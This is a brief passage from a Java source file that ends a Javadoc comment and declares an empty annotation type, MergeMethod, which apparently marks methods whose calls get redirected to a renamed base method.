* will be replaced with calls to the renamed base method.
|
||||
*
|
||||
* @author Ben Holland
|
||||
*/
|
||||
public @interface MergeMethod {}
|